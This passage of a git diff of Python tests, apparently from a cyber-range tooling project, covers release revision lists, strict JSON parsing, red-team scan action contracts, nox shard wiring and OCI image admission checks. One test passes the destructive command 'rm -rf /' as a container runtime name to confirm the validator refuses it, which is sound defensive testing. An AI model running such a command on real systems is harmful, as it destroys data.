test_latest_current_release_is_versioned_and_strict(monkeypatch): from tools.formal_semantic_validation import _retest @@ -206,7 +282,7 @@ def test_latest_current_release_is_versioned_and_strict(monkeypatch): from tools.formal_semantic_validation._releases import validate_retest_bundle release, protocol, corpus, snapshot, analysis = copy_bundle(load_retest_bundle, ROOT) - assert release.manifest["revision"] == "17.0.0" + assert release.manifest["revision"] == "67.0.0" original = _retest.replay_case def changed_result(root, case): @@ -248,14 +324,21 @@ def fail(*args, **kwargs): assert "formal-validation-production-replay" in {f.rule_id for f in failures} -def test_specification_current_capture_does_not_accept_old_artifact_digest(): +@pytest.mark.parametrize( + ("artifact_id", "old_digest"), + [ + ("port-range-sdl", "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec"), + ("known-limitations", "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e"), + ], +) +def test_specification_current_capture_does_not_accept_old_artifact_digest(artifact_id, old_digest): from tools.check_specification_coverage import load_bundle, validate_bundle manifest, protocol, snapshot, analysis = copy_bundle(load_bundle, ROOT) - assert manifest["revision"] == "15.0.0" + assert manifest["revision"] == "66.0.0" snapshot = deepcopy(snapshot) - artifact = next(a for a in snapshot["artifacts"] if a["artifact_id"] == "port-range-sdl") - artifact["sha256"] = "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec" + artifact = next(a for a in snapshot["artifacts"] if a["artifact_id"] == artifact_id) + artifact["sha256"] = old_digest failures = validate_bundle(ROOT, manifest, protocol, snapshot, analysis) assert "specification-coverage-artifact-digest" in {f.rule_id for f in failures} @@ -438,6 +521,56 @@ def test_no_capture_can_be_silently_dropped(monkeypatch, family, removed): "15.0.0", "16.0.0", "17.0.0", + "18.0.0", + "19.0.0", + "20.0.0", + "21.0.0", + "22.0.0", + "23.0.0", + "24.0.0", + "25.0.0", + "26.0.0", + "27.0.0", + "28.0.0", + "29.0.0", + "30.0.0", + "31.0.0", + "32.0.0", + "33.0.0", + "34.0.0", + "35.0.0", + "36.0.0", + "37.0.0", + "38.0.0", + "39.0.0", + "40.0.0", + "41.0.0", + "42.0.0", + "43.0.0", + "44.0.0", + "45.0.0", + "46.0.0", + "47.0.0", + "48.0.0", + "49.0.0", + "50.0.0", + "51.0.0", + "52.0.0", + "53.0.0", + "54.0.0", + "55.0.0", + "56.0.0", + "57.0.0", + "58.0.0", + "59.0.0", + "60.0.0", + "61.0.0", + "62.0.0", + "63.0.0", + "64.0.0", + "65.0.0", + "66.0.0", + "67.0.0", ] if family == "formal" else [ @@ -457,6 +590,57 @@ def test_no_capture_can_be_silently_dropped(monkeypatch, family, removed): "13.0.0", "14.0.0", "15.0.0", + "16.0.0", + "17.0.0", + "18.0.0", + "19.0.0", + "20.0.0", + "21.0.0", + "22.0.0", + "23.0.0", + "24.0.0", + "25.0.0", + "26.0.0", + "27.0.0", + "28.0.0", + "29.0.0", + "30.0.0", + "31.0.0", + "32.0.0", + "33.0.0", + "34.0.0", + "35.0.0", + "36.0.0", + "37.0.0", + "38.0.0", + "39.0.0", + "40.0.0", + "41.0.0", + "42.0.0", + "43.0.0", + "44.0.0", + "45.0.0", + "46.0.0", + "47.0.0", + "48.0.0", + "49.0.0", + "50.0.0", + "51.0.0", + "52.0.0", + "53.0.0", + "54.0.0", + "55.0.0", + "56.0.0", + "57.0.0", + "58.0.0", + "59.0.0", + "60.0.0", + "61.0.0", + "62.0.0", + "63.0.0", + "64.0.0", + "65.0.0", + "66.0.0", ] ) revisions.pop(-1 if removed == "current" else 0) diff --git a/implementations/python/tests/test_json_ingress.py b/implementations/python/tests/test_json_ingress.py index 27dfdccd2..2ba5fa7f8 100644 --- a/implementations/python/tests/test_json_ingress.py +++ b/implementations/python/tests/test_json_ingress.py @@ -15,6 +15,8 @@ def test_parse_bounded_json_accepts_an_explicit_array_root() -> None: [ (b'{"member": 1, "member": 2}', "duplicate-member"), (b'{"member": NaN}', "non-finite-number"), + (b'{"member": 1e999}', "non-finite-number"), + (b'{"member": -1e999}', "non-finite-number"), (b"{}", "invalid-root"), ], ) @@ -23,3 +25,7 @@ def test_parse_bounded_json_preserves_strict_ingress_failures(source: bytes, cod parse_bounded_json(source, max_bytes=128, root="array") assert caught.value.code == code + + +def test_finite_exponent_remains_a_number() -> None: + assert parse_bounded_json(b"[1e100]", max_bytes=128, root="array") == [1e100] diff --git a/implementations/python/tests/test_libvirt_backend_techvault_honesty.py b/implementations/python/tests/test_libvirt_backend_techvault_honesty.py index c01568c49..239f38e57 100644 --- a/implementations/python/tests/test_libvirt_backend_techvault_honesty.py +++ b/implementations/python/tests/test_libvirt_backend_techvault_honesty.py @@ -356,9 +356,14 @@ def test_failed_techvault_admission_preserves_persisted_runtime_snapshot(tmp_pat }, realization_envelope=envelope, ) - store = LocalControlPlaneStore(tmp_path / "control-plane") - store.save_snapshot(baseline, expected_revision=store.load_snapshot_state().revision) + store_path = tmp_path / "control-plane" + store = LocalControlPlaneStore(store_path) target = create_libvirt_target(driver=driver) + lease = store.admit_runtime(target_scope=f"target:{target.name}", run_scope="run:default") + store.save_snapshot(baseline, expected_revision=store.load_snapshot_state().revision) + store.close() + lease.close() + store = LocalControlPlaneStore(store_path) control_plane = RuntimeControlPlane(target, store=store) invalid = _node_resource(services=[{"name": "api", "port": 8443, "protocol": "tcp"}]) invalid_plan = _plan(invalid) diff --git a/implementations/python/tests/test_mcp_server.py b/implementations/python/tests/test_mcp_server.py index 6bb92ea34..e5062e8eb 100644 --- a/implementations/python/tests/test_mcp_server.py +++ b/implementations/python/tests/test_mcp_server.py @@ -160,10 +160,23 @@ def _json_call(server, tool: str, args: dict | None = None) -> dict: relationships: web-to-db: {type: connects_to, source: app, target: pg} +action_contracts: + scan: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: abstract scan + realization_profile: abstract + fidelity_claim: declared action only + preconditions: + - {precondition_id: authorized, precondition_class: authority, description: explicit grant} + effects: + - {effect_id: unchanged, effect_class: no_effect, description: no state change} + failure_classes: [authority_denied, unknown] + agents: red-agent: - entity: red-team - actions: [Scan] + affiliations: [red-team] + actions: [scan] initial_knowledge: hosts: [web] subnets: [corp-net] @@ -171,8 +184,8 @@ def _json_call(server, tool: str, args: dict | None = None) -> dict: objectives: red-access: - agent: red-agent - actions: [Scan] + assigned_participant: red-agent + actions: [scan] targets: [web] success: {assertions: [web-alive]} window: {stories: [exercise]} @@ -810,7 +823,7 @@ def test_compile_summarizes_runtime_model(self, server): assert payload["status"] == "compiled" assert payload["runtime_model"]["domains"]["provisioning"]["nodes"] == 2 assert payload["runtime_model"]["domains"]["evaluation"]["objectives"] == 1 - assert payload["runtime_model"]["domains"]["participant"]["action_contracts"] == 0 + assert payload["runtime_model"]["domains"]["participant"]["action_contracts"] == 1 def test_plan_dry_run_reports_reference_manifest_and_operations(self, server): payload = _json_call(server, "sdl_plan", {"sdl_content": FULL_SDL}) @@ -822,7 +835,12 @@ def test_plan_dry_run_reports_reference_manifest_and_operations(self, server): assert "dry run" in payload["claim_boundary"] def test_design_assessment_warns_about_action_names_without_contracts(self, server): - payload = _json_call(server, "sdl_design_assessment", {"sdl_content": FULL_SDL}) + import yaml + + source = yaml.safe_load(FULL_SDL) + source.pop("action_contracts") + source["objectives"]["red-access"].pop("actions") + payload = _json_call(server, "sdl_design_assessment", {"sdl_content": yaml.safe_dump(source)}) messages = [note["message"] for note in payload["design_notes"]] assert any("action names without action contracts" in message for message in messages) assert payload["status"] == "needs_attention" diff --git a/implementations/python/tests/test_nox_shard_wiring.py b/implementations/python/tests/test_nox_shard_wiring.py new file mode 100644 index 000000000..5a47fd17c --- /dev/null +++ b/implementations/python/tests/test_nox_shard_wiring.py @@ -0,0 +1,258 @@ +"""Wiring tests for the #935 shard/reduce/fast-feedback nox sessions. + +These import the lane graph and the noxfile session registry against a stand-in +``nox`` (the project env has no nox) and assert each session delegates to the +right lane helper with the right arguments, so the CI-only session wrappers are +covered without a real nox run. +""" + +from __future__ import annotations + +import importlib +import subprocess +import sys +from collections.abc import Callable +from types import ModuleType, SimpleNamespace + +import pytest +import yaml +from paths import REPO_ROOT +from tools.verification_plan import ChangeRecord + + +class _Reporter: + def __init__(self) -> None: + self.ran: list[str] = [] + self.skipped: list[tuple[str, str]] = [] + + def run(self, name: str, func: Callable[[], None], *, detail: str = "") -> None: + self.ran.append(name) + func() + + def skip(self, name: str, reason: str) -> None: + self.skipped.append((name, reason)) + + def summary(self) -> None: # noqa: D401 - stand-in + pass + + +class _Session: + def __init__(self) -> None: + self.posargs: list[str] = [] + self.logs: list[str] = [] + + def log(self, message: str) -> None: + self.logs.append(message) + + +def _stub_nox(monkeypatch: pytest.MonkeyPatch) -> None: + def _session(*d_args: object, **_d_kwargs: object) -> object: + if len(d_args) == 1 and callable(d_args[0]): + return d_args[0] + return lambda func: func + + nox_stub = SimpleNamespace(session=_session, options=SimpleNamespace(), Session=object) + monkeypatch.setitem(sys.modules, "nox", nox_stub) + for name in [n for n in sys.modules if n == "noxfile" or n.startswith("tools.nox_support")]: + monkeypatch.delitem(sys.modules, name, raising=False) + + +@pytest.fixture +def graph(monkeypatch: pytest.MonkeyPatch) -> ModuleType: + _stub_nox(monkeypatch) + return importlib.import_module("tools.nox_support.graph") + + +@pytest.fixture +def noxfile_module(monkeypatch: pytest.MonkeyPatch) -> ModuleType: + _stub_nox(monkeypatch) + return importlib.import_module("noxfile") + + +def test_installed_hooks_only_run_file_scoped_hygiene(): + config = yaml.safe_load((REPO_ROOT / ".pre-commit-config.yaml").read_text(encoding="utf-8")) + assert config["default_install_hook_types"] == ["pre-commit"] + hooks = [hook for repo in config["repos"] for hook in repo["hooks"]] + assert len(hooks) == 1 + hook = hooks[0] + assert hook["stages"] == ["pre-commit"] + assert hook["pass_filenames"] is True + assert '-s hygiene -- "$@"' in hook["entry"] + + +def test_container_smoke_accepts_only_the_configured_hook(tmp_path): + workflow = yaml.safe_load((REPO_ROOT / ".github/workflows/bootstrap-qualification.yml").read_text(encoding="utf-8")) + script = "\n".join( + line.strip() + for step in workflow["jobs"]["development-image"]["steps"] + for line in step.get("run", "").splitlines() + if line.strip().startswith("test ") and ".git/hooks/" in line + ) + assert script + hooks = tmp_path / ".git" / "hooks" + hooks.mkdir(parents=True) + commit_hook = hooks / "pre-commit" + commit_hook.write_text("#!/bin/sh\nexit 0\n", encoding="utf-8") + commit_hook.chmod(0o755) + assert subprocess.run(["bash", "-e", "-c", script], cwd=tmp_path, check=False).returncode == 0 + stale_push_hook = hooks / "pre-push" + stale_push_hook.write_text("#!/bin/sh\nexit 0\n", encoding="utf-8") + stale_push_hook.chmod(0o755) + assert subprocess.run(["bash", "-e", "-c", script], cwd=tmp_path, check=False).returncode != 0 + + +def test_hygiene_session_only_delegates_selected_files(monkeypatch, noxfile_module): + calls = [] + monkeypatch.setattr(noxfile_module, "SessionReporter", lambda *args: _Reporter()) + monkeypatch.setattr(noxfile_module, "_run_hygiene", lambda *args, **kwargs: calls.append(kwargs)) + + def unexpected(*args, **kwargs): + pytest.fail("commit hygiene must not invoke expensive verification") + + for name in ("_run_policy", "_run_contracts", "_run_tests", "_run_pytest", "_run_parallel_verification"): + monkeypatch.setattr(noxfile_module, name, unexpected) + session = _Session() + session.posargs = [".pre-commit-config.yaml", "sample.py"] + noxfile_module.hygiene(session) + assert calls == [{"posargs": session.posargs, "default_all_files": True}] + + +def test_hygiene_retains_fast_checks_and_both_secret_scanners(monkeypatch, graph): + lanes = importlib.import_module("tools.nox_support.policy_lanes") + paths = ["sample.py", "sample.yaml", "sample.json"] + calls = [] + monkeypatch.setattr(lanes, "_parse_hygiene_posargs", lambda *a, **k: SimpleNamespace(paths=paths, source="test")) + monkeypatch.setattr(lanes, "_text_paths", lambda paths: paths) + monkeypatch.setattr(lanes, "_run_pre_commit_hook", lambda session, name, *a, **k: calls.append(name)) + monkeypatch.setattr(lanes, "_run_gitleaks_dir_scan", lambda session, paths: calls.append("gitleaks")) + graph._run_hygiene(_Session(), _Reporter(), posargs=paths, default_all_files=False) + assert calls == [ + "trailing-whitespace-fixer", + "end-of-file-fixer", + "check-yaml", + "check-json", + "check-added-large-files", + "check-merge-conflict", + "detect-private-key", + "gitleaks", + ] + + +def test_fast_feedback_runs_changed_test_modules(monkeypatch: pytest.MonkeyPatch, graph: ModuleType) -> None: + changed = [ChangeRecord(status="A", path="implementations/python/tests/test_x.py")] + monkeypatch.setattr(graph, "collect_git_changes", lambda _root, _base: changed) + monkeypatch.setattr(graph, "_requirement_aware_policy_args", lambda *args: list(args)) + calls: list[str] = [] + monkeypatch.setattr(graph, "_run_hygiene", lambda *a, **k: calls.append("hygiene")) + monkeypatch.setattr(graph, "_run_policy", lambda *a, **k: calls.append("policy")) + monkeypatch.setattr(graph, "_run_changed_lint", lambda *a, **k: calls.append("lint")) + pytest_args: list[tuple[str, ...]] = [] + monkeypatch.setattr(graph, "_run_pytest", lambda _session, *args, **_k: pytest_args.append(args)) + + reporter = _Reporter() + graph._run_fast_feedback(_Session(), reporter, ["--base-rev", "BASE"]) + + assert calls == ["hygiene", "policy", "lint"] + assert pytest_args == [("implementations/python/tests/test_x.py", "-q")] + + +def test_fast_feedback_uses_current_paths_for_lint_and_tests( + monkeypatch: pytest.MonkeyPatch, graph: ModuleType +) -> None: + prefix = "implementations/python/tests/" + changed = [ + ChangeRecord(status="D", path=f"{prefix}test_deleted.py"), + ChangeRecord(status="D", path="tools/deleted.py"), + ChangeRecord(status="R", old_path=f"{prefix}test_old.py", path=f"{prefix}test_renamed.py"), + ChangeRecord(status="C", old_path=f"{prefix}test_source.py", path=f"{prefix}test_copied.py"), + ChangeRecord(status="M", path=f"{prefix}test_modified.py"), + ChangeRecord(status="A", path=f"{prefix}test_added.py"), + ] + monkeypatch.setattr(graph, "collect_git_changes", lambda _root, _base: changed) + monkeypatch.setattr(graph, "_requirement_aware_policy_args", lambda *args: list(args)) + monkeypatch.setattr(graph, "_run_hygiene", lambda *a, **k: None) + monkeypatch.setattr(graph, "_run_policy", lambda *a, **k: None) + lint_paths: list[str] = [] + monkeypatch.setattr(graph, "_run_changed_lint", lambda _session, _reporter, paths: lint_paths.extend(paths)) + pytest_args: list[tuple[str, ...]] = [] + monkeypatch.setattr(graph, "_run_pytest", lambda _session, *args, **_k: pytest_args.append(args)) + + graph._run_fast_feedback(_Session(), _Reporter(), ["--base-rev", "BASE"]) + + expected = [f"{prefix}test_{name}.py" for name in ("renamed", "copied", "modified", "added")] + assert lint_paths == expected + assert pytest_args == [(*expected, "-q")] + + +def test_fast_feedback_defers_when_no_test_module_changed(monkeypatch: pytest.MonkeyPatch, graph: ModuleType) -> None: + changed = [ChangeRecord(status="M", path="implementations/python/packages/raes/x.py")] + monkeypatch.setattr(graph, "collect_git_changes", lambda _root, _base: changed) + monkeypatch.setattr(graph, "_requirement_aware_policy_args", lambda *args: list(args)) + monkeypatch.setattr(graph, "_run_hygiene", lambda *a, **k: None) + monkeypatch.setattr(graph, "_run_policy", lambda *a, **k: None) + monkeypatch.setattr(graph, "_run_changed_lint", lambda *a, **k: None) + monkeypatch.setattr(graph, "_run_pytest", lambda *a, **k: pytest.fail("must not run tests when none changed")) + + reporter = _Reporter() + graph._run_fast_feedback(_Session(), reporter, ["--base-rev", "BASE"]) + + assert any("no authoritative targeted selection" in reason for _name, reason in reporter.skipped) + + +def test_verify_shard_session_delegates(monkeypatch: pytest.MonkeyPatch, noxfile_module: ModuleType) -> None: + captured: dict[str, object] = {} + monkeypatch.setattr( + noxfile_module, + "_run_shard_tests", + lambda _session, _reporter, coverage_file, **kwargs: captured.update( + {"coverage_file": coverage_file, **kwargs} + ), + ) + monkeypatch.setenv("RAES_SHARD_COUNT", "4") + monkeypatch.setenv("RAES_SHARD_INDEX", "1") + monkeypatch.setenv("RAES_VERIFY_COVERAGE_FILE", "/tmp/out/.coverage.shard-1") + monkeypatch.setenv("RAES_SHARD_MANIFEST", "/tmp/out/shard-1.json") + monkeypatch.setenv("RAES_SHARD_SOURCE_SHA", "abc123") + + noxfile_module.verify_shard(_Session()) + + assert captured["shard_count"] == 4 + assert captured["shard_index"] == 1 + assert str(captured["coverage_file"]) == "/tmp/out/.coverage.shard-1" + assert str(captured["manifest_path"]) == "/tmp/out/shard-1.json" + assert captured["source_sha"] == "abc123" + + +def test_verify_coverage_reduce_session_delegates(monkeypatch: pytest.MonkeyPatch, noxfile_module: ModuleType) -> None: + captured: dict[str, object] = {} + monkeypatch.setattr( + noxfile_module, + "_run_coverage_reduce", + lambda _session, _reporter, reduce_dir, **kwargs: captured.update({"reduce_dir": reduce_dir, **kwargs}), + ) + monkeypatch.setenv("RAES_COVERAGE_REDUCE_DIR", "/tmp/reduce") + monkeypatch.setenv("RAES_SHARD_COUNT", "4") + monkeypatch.setenv("RAES_SHARD_SOURCE_SHA", "def456") + + noxfile_module.verify_coverage_reduce(_Session()) + + assert str(captured["reduce_dir"]) == "/tmp/reduce" + assert captured["shard_count"] == 4 + assert captured["source_sha"] == "def456" + + +def test_verify_fast_feedback_session_delegates(monkeypatch: pytest.MonkeyPatch, noxfile_module: ModuleType) -> None: + calls: list[object] = [] + monkeypatch.setattr(noxfile_module, "_run_fast_feedback", lambda *a, **k: calls.append(a)) + noxfile_module.verify_fast_feedback(_Session()) + assert len(calls) == 1 + + +def test_required_env_helpers_fail_closed(monkeypatch: pytest.MonkeyPatch, noxfile_module: ModuleType) -> None: + monkeypatch.delenv("RAES_SHARD_COUNT", raising=False) + with pytest.raises(RuntimeError, match="required"): + noxfile_module._required_env("RAES_SHARD_COUNT") + + monkeypatch.setenv("RAES_SHARD_COUNT", "not-an-int") + with pytest.raises(RuntimeError, match="must be an integer"): + noxfile_module._required_env_int("RAES_SHARD_COUNT") diff --git a/implementations/python/tests/test_nox_support_test_lanes.py b/implementations/python/tests/test_nox_support_test_lanes.py index abaa805ec..50b3004ab 100644 --- a/implementations/python/tests/test_nox_support_test_lanes.py +++ b/implementations/python/tests/test_nox_support_test_lanes.py @@ -184,3 +184,129 @@ def test_restore_owner_write_reopens_sealed_directories_without_following_links( assert (root / "a" / "b").stat().st_mode & 0o777 == 0o700 assert outside.stat().st_mode & 0o777 == 0o500 outside.chmod(0o700) + + +class _FakeSession: + """Minimal nox.Session stand-in for the shard/reduce lane tests.""" + + def __init__(self, run_output: str = "") -> None: + self._run_output = run_output + self.chdir_calls: list[object] = [] + + def chdir(self, path: object): # noqa: ANN201 - context manager stand-in + import contextlib + + self.chdir_calls.append(path) + return contextlib.nullcontext() + + def run(self, *args: object, **kwargs: object) -> str: + return self._run_output + + +def test_shard_lane_constructs_the_deterministic_partition_invocation( + monkeypatch: pytest.MonkeyPatch, + test_lanes: ModuleType, +) -> None: + calls = _record_pytest(monkeypatch, test_lanes) + reporter = _Reporter() + + test_lanes._run_shard_tests( + object(), + reporter, + Path("cov/.coverage.shard-1"), + shard_count=4, + shard_index=1, + manifest_path=Path("cov/shard-1.json"), + source_sha="deadbeef", + ) + + (args, kwargs) = calls[0] + assert args == ( + "-q", + "-p", + "tools.pytest_shard_plugin", + "--shard-count", + "4", + "--shard-index", + "1", + "--shard-manifest", + "cov/shard-1.json", + "--shard-source-sha", + "deadbeef", + "--shard-suite-expression", + "not fuzz and not integration and not docker", + ) + assert kwargs["coverage_file"] == Path("cov/.coverage.shard-1") + assert kwargs["finalize_coverage"] is False + assert kwargs["parallel"] is True + assert kwargs["extra_env"] == {"PYTHONPATH": str(test_lanes.REPO_ROOT)} + + +def test_coverage_reduce_proves_completeness_before_combining( + monkeypatch: pytest.MonkeyPatch, + test_lanes: ModuleType, + tmp_path: Path, +) -> None: + from tools.pytest_shard import SHARD_ALGORITHM_VERSION, ShardManifest, owned_nodeids, write_manifest + + suite = [f"tests/test_m.py::t{index}" for index in range(20)] + for index in range(2): + write_manifest( + tmp_path / f"shard-{index}.json", + ShardManifest( + algorithm_version=SHARD_ALGORITHM_VERSION, + source_sha="sha1", + suite_expression="expr", + shard_count=2, + shard_index=index, + node_ids=tuple(owned_nodeids(suite, 2, index)), + ), + ) + + monkeypatch.setattr(test_lanes, "_sync_project", lambda _session: None) + monkeypatch.setattr(test_lanes, "_collect_canonical_nodeids", lambda _session: list(suite)) + events: list[object] = [] + monkeypatch.setattr(test_lanes, "_run", lambda *_a, **_k: events.append("combine")) + monkeypatch.setattr(test_lanes, "_write_and_check_coverage", lambda *_a, **_k: events.append("report")) + + verify_calls: list[tuple[int, int, object]] = [] + real_verify = test_lanes.verify_shard_partition + + def _spy(manifests, canonical, *, shard_count, source_sha=None): # noqa: ANN001, ANN202 + verify_calls.append((len(list(manifests)), shard_count, source_sha)) + events.append("proof") + real_verify(manifests, canonical, shard_count=shard_count, source_sha=source_sha) + + monkeypatch.setattr(test_lanes, "verify_shard_partition", _spy) + + test_lanes._run_coverage_reduce(_FakeSession(), _Reporter(), tmp_path, shard_count=2, source_sha="sha1") + + assert verify_calls == [(2, 2, "sha1")] + # The completeness proof must run before any combine/report work. + assert events == ["proof", "combine", "report"] + + +def test_coverage_reduce_fails_closed_without_manifests( + monkeypatch: pytest.MonkeyPatch, + test_lanes: ModuleType, + tmp_path: Path, +) -> None: + monkeypatch.setattr(test_lanes, "_sync_project", lambda _session: None) + combined: list[object] = [] + monkeypatch.setattr(test_lanes, "_run", lambda *_a, **_k: combined.append("combine")) + + session = _FakeSession() + reporter = _Reporter() + with pytest.raises(RuntimeError, match="no shard manifests"): + test_lanes._run_coverage_reduce(session, reporter, tmp_path, shard_count=2, source_sha="x") + + assert combined == [] + + +def test_collect_canonical_nodeids_parses_and_fails_closed(test_lanes: ModuleType) -> None: + session = _FakeSession(run_output="tests/a.py::t1\ntests/a.py::t2\n2 tests collected\n") + assert test_lanes._collect_canonical_nodeids(session) == ["tests/a.py::t1", "tests/a.py::t2"] + + empty_session = _FakeSession(run_output="0 tests collected\n") + with pytest.raises(RuntimeError, match="no node ids"): + test_lanes._collect_canonical_nodeids(empty_session) diff --git a/implementations/python/tests/test_oci_release_image.py b/implementations/python/tests/test_oci_release_image.py new file mode 100644 index 000000000..f157816a3 --- /dev/null +++ b/implementations/python/tests/test_oci_release_image.py @@ -0,0 +1,218 @@ +"""Release-test image pins, native pulls, bounded clients, and daemon identity.""" + +from __future__ import annotations + +import subprocess + +import pytest +from tools.oci_release_image import ( + ImageAdmissionError, + acquire_image, + image_reference, + resolve_source, + verify_daemon_image, +) + +_INDEX_DIGEST = "sha256:" + "d9" * 32 +_PUBLIC_REPOSITORY = "docker.io/library/alpine" +_MIRROR_REPOSITORY = "registry.internal.invalid:5000/mirror/library/alpine" + + +class _Runner: + def __init__(self, *, stdout: str = "", returncode: int = 0) -> None: + self.calls: list[list[str]] = [] + self._stdout = stdout + self._returncode = returncode + + def __call__(self, argv, **kwargs): + self.calls.append(list(argv)) + return subprocess.CompletedProcess(args=argv, returncode=self._returncode, stdout=self._stdout, stderr="") + + +def _graph(architecture: str = "amd64", diff_ids: tuple[str, ...] = ("sha256:" + "08" * 32,)): + from tools.oci_release_selection import LockedPlatformGraph, OciDescriptor + + descriptor = OciDescriptor(digest=_INDEX_DIGEST, size=9226) + return LockedPlatformGraph( + platform_id="linux-x86_64", + index=descriptor, + manifest=OciDescriptor(digest="sha256:" + "c6" * 32, size=1023), + config=OciDescriptor(digest="sha256:" + "bf" * 32, size=612), + layers=(OciDescriptor(digest="sha256:" + "25" * 32, size=3630321),), + diff_ids=diff_ids, + architecture=architecture, + os="linux", + ) + + +def test_unknown_source_class_fails_closed() -> None: + with pytest.raises(ImageAdmissionError) as excinfo: + resolve_source({"RAES_OCI_SOURCE_CLASS": "whatever-the-operator-typed"}) + + assert excinfo.value.reason == "source-class" + + +def test_image_reference_is_always_digest_pinned() -> None: + resolve_source({}) + + reference = image_reference(_PUBLIC_REPOSITORY, _INDEX_DIGEST) + + assert reference == f"{_PUBLIC_REPOSITORY}@{_INDEX_DIGEST}" + with pytest.raises(ImageAdmissionError) as excinfo: + image_reference(_PUBLIC_REPOSITORY, "3.20.10") + assert excinfo.value.reason == "image-identity" + + +def test_daemon_readback_admits_only_the_locked_platform_identity() -> None: + graph = _graph() + runner = _Runner(stdout=f'amd64\nlinux\n["{graph.diff_ids[0]}"]\n') + + verify_daemon_image("ref", graph, runtime="docker", runner=runner) + + assert runner.calls[0][:3] == ["docker", "image", "inspect"] + + +@pytest.mark.parametrize( + "stdout", + [ + # Wrong architecture for the platform under test. + 'arm64\nlinux\n["sha256:{diff}"]\n', + # Right platform, different filesystem content. + 'amd64\nlinux\n["sha256:{other}"]\n', + # A daemon that reports nothing usable. + "\n", + ], +) +def test_daemon_readback_rejects_a_substituted_image(stdout: str) -> None: + graph = _graph() + payload = stdout.format(diff=graph.diff_ids[0].removeprefix("sha256:"), other="ff" * 32) + runner = _Runner(stdout=payload) + + with pytest.raises(ImageAdmissionError) as excinfo: + verify_daemon_image("ref", graph, runtime="docker", runner=runner) + + assert excinfo.value.reason == "image-identity" + + +def test_client_invocations_never_inherit_ambient_registry_state() -> None: + captured: dict[str, object] = {} + + def _runner(argv, **kwargs): + captured.update(kwargs) + return subprocess.CompletedProcess(args=argv, returncode=0, stdout="", stderr="") + + acquire_image(f"{_PUBLIC_REPOSITORY}@{_INDEX_DIGEST}", runtime="docker", runner=_runner) + + assert set(captured["env"]) == {"LC_ALL", "LANG", "PATH"} + assert isinstance(captured["timeout"], int) + assert 0 < captured["timeout"] <= 900 + assert captured["check"] is False + assert "shell" not in captured + + +def _locked_selection(oci_graph: dict | None) -> object: + from tools.tooling_policy_gate import LockedArtifactSelection, LockedManifestEntry, locked_oci_graph + + return LockedArtifactSelection( + artifact_id="release-test-alpine", + version="3.20.10", + platform_id="linux-x86_64", + profile_id="public-linux-x86_64", + repository="https://github.com/alpinelinux/docker-alpine", + release=_INDEX_DIGEST, + source_urls=("https://registry-1.docker.io/v2/library/alpine/manifests/" + _INDEX_DIGEST,), + raw_manifest=(LockedManifestEntry(path="alpine-index.json", sha256="d9" * 32, size=9226),), + installed_manifest=(), + artifact_class="oci-image", + policy_refs=("oci-graph-v1",), + installed_identity=(("implementation", "OCI image"),), + locator_refs=("docker-official-images-registry",), + oci_graph=locked_oci_graph(oci_graph), + asset=_PUBLIC_REPOSITORY, + ) + + +_GRAPH_DOCUMENT = { + "index": {"digest": _INDEX_DIGEST, "size": 9226}, + "manifest": {"digest": "sha256:" + "c6" * 32, "size": 1023}, + "config": {"digest": "sha256:" + "bf" * 32, "size": 612}, + "layers": [{"digest": "sha256:" + "25" * 32, "size": 3630321}], + "diff_ids": ["sha256:" + "08" * 32], + "architecture": "amd64", + "os": "linux", +} + + +def test_locked_platform_graphs_project_every_required_platform() -> None: + from tools.oci_release_image import locked_platform_graphs + + seen: list[tuple[str, str]] = [] + + def _loader(*, version: str, platform_id: str, profile_id: str): + seen.append((version, platform_id)) + document = dict(_GRAPH_DOCUMENT) + if platform_id == "linux-arm64": + document |= {"architecture": "arm64", "manifest": {"digest": "sha256:" + "45" * 32, "size": 1026}} + return _locked_selection(document) + + graphs = locked_platform_graphs(loader=_loader) + + assert [graph.platform_id for graph in graphs] == ["linux-x86_64"] + # One reviewed index binds every platform selection together. + assert len({graph.index for graph in graphs}) == 1 + assert seen == [("3.20.10", "linux-x86_64")] + + +def test_locked_platform_graphs_refuse_an_index_only_selection() -> None: + from tools.oci_release_image import locked_platform_graphs + + with pytest.raises(ImageAdmissionError) as excinfo: + locked_platform_graphs(loader=lambda **_kwargs: _locked_selection(None)) + + assert excinfo.value.reason == "graph-unavailable" + + +@pytest.mark.integration +def test_checked_in_lock_admits_the_release_test_image_for_every_required_platform() -> None: + from tools.oci_release_image import REQUIRED_PLATFORM_IDS, locked_platform_graphs, locked_repository + + graphs = locked_platform_graphs() + + assert [graph.platform_id for graph in graphs] == list(REQUIRED_PLATFORM_IDS) + assert len({graph.index for graph in graphs}) == 1 + assert {(graph.architecture, graph.os) for graph in graphs} == {("amd64", "linux")} + assert all(len(graph.layers) == len(graph.diff_ids) >= 1 for graph in graphs) + assert locked_repository() == _PUBLIC_REPOSITORY + + +@pytest.mark.parametrize( + ("failure", "reason"), + [ + (OSError("no such client"), "client-unavailable"), + (subprocess.TimeoutExpired(cmd=["docker"], timeout=1), "client-timeout"), + ], +) +def test_client_failures_are_classified_without_leaking_native_detail(failure, reason: str) -> None: + def _runner(*_args, **_kwargs): + raise failure + + resolve_source({}) + reference = image_reference(_PUBLIC_REPOSITORY, _INDEX_DIGEST) + + with pytest.raises(ImageAdmissionError) as excinfo: + acquire_image(reference, runtime="docker", runner=_runner) + + assert excinfo.value.reason == reason + assert "no such client" not in str(excinfo.value) + + +def test_only_the_reviewed_container_runtimes_may_be_driven() -> None: + resolve_source({}) + reference = image_reference(_PUBLIC_REPOSITORY, _INDEX_DIGEST) + + runner = _Runner() + + with pytest.raises(ImageAdmissionError) as excinfo: + acquire_image(reference, runtime="rm -rf /", runner=runner) + + assert excinfo.value.reason == "runtime-not-allowed" diff --git a/implementations/python/tests/test_participant_concurrent_batch_reservations.py b/implementations/python/tests/test_participant_concurrent_batch_reservations.py index 1ff2aa078..56cc58713 100644 --- a/implementations/python/tests/test_participant_concurrent_batch_reservations.py +++ b/implementations/python/tests/test_participant_concurrent_batch_reservations.py @@ -167,6 +167,7 @@ def _stub_request_binding(monkeypatch: pytest.MonkeyPatch) -> None: lambda context, working, state: SimpleNamespace( participant_address=context.participant_address, execution_scope_ref=None, + temporal_contexts=(), action_instance_id=f"{context.participant_address}:attempt-{state.attempted_actions}", ), ) @@ -1273,10 +1274,19 @@ def test_snapshot_ownership_exhaustively_classifies_every_runtime_field(): } assert classified == {field.name for field in 